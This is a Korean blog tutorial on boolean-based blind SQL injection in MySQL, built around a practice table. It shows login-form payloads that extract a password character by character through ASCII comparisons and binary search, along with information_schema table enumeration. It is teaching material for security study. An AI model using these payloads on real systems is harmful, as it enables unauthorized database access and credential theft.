Blind SQL Injection
Boolean-based Blind SQL Injection
쿼리 실행 결과의 ``sql True / False`` 여부에 따라 response가 다르다면, Boolean-based Blind를 사용할 수 있다.
꼭 로그인에 성공해야 ``sql True``인 것은 아니다. query의 실행 결과가 참인 상태에서 로그인에 실패한 것과 query 실행 결과가 거짓인 상태에서 로그인에 실패한 것 둘을 구분할 수 있다면 사용할 수 있다. 중요한 것은 query의 실행 결과를 구분할 수 있느냐다.
```sql
SUBSTR(str,pos,len) / ASCII(str)
mysql> select ascii(substr(pw, 1, 1)) from sqlinj_test where id='umbum';
OR
mysql> select ascii(substr((select pw from sqlinj_test where id='umbum'), 1, 1));
+-------------------------+
| ascii(substr(pw, 1, 1)) |
+-------------------------+ -- pw is '123qwe'
| 49 | -- ascii('1') == 49
+-------------------------+
```
이를 이용해 form에 다음과 같이 입력하면, 참일 때의 반응이 돌아온다.
```
umbum' and (select ascii(substr(pw, 1, 1)) from sqlinj_test where id='umbum') > 0 #
```
#1 사전 정보 획득
```c
mysql> SELECT table_name FROM information_schema.tables
-> WHERE table_type = 'BASE TABLE'
-> LIMIT 53, 1;
+-------------+
| table_name |
+-------------+
| sqlinj_test |
+-------------+
```
결과를 한 row 씩 반환받기 위해 mysql은 ``sql LIMIT n, 1``을 사용한다. ``c n >= 0``
(``sql ROWNUM``이나 ``sql TOP``을 사용하는 db도 있다.)
``sql LIMIT``를 사용할 때는 rows 반환 순서를 고려해야 한다.
반환 순서가 지멋대로 일 경우 ``sql ORDER BY``와 함께 사용하면 좋다.
- 일반적인 경우 table을 생성하면 table_type은 `` BASE TABLE``로 지정된다.
- root 계정일 경우 `` BASE TABLE``로 설정해도 반환되는 테이블이 꽤 많지만(보통 +52개),
일반 계정은 `` BASE TABLE``로 설정하면 생성한 테이블만 반환된다.
#2
umbum' and (select ascii(substr(pw, 1, 1)) from sqlinj_test where id='umbum') > 48 # True
umbum' and (select ascii(substr(pw, 1, 1)) from sqlinj_test where id='umbum') > 49 # False
binary search
``c '1'``같은 경우 맨 앞이 0이라 6자리로 나오기 때문에 ``sql lpad()``를 사용해 7자리로 맞춰주어야 한다.
Error-based Blind SQL Injection
Time-base Blind SQL Injection
'Security > WebHacking' 카테고리의 다른 글
SQL Filtering Substitution Pattern (0) | 2017.09.19 |
---|---|
SQLMap (0) | 2017.09.05 |
Basic SQL injection (0) | 2017.08.08 |
인증(Authentication)과 인가(Authorization) (0) | 2017.06.28 |
Brute Force / Replay Attack (0) | 2017.06.28 |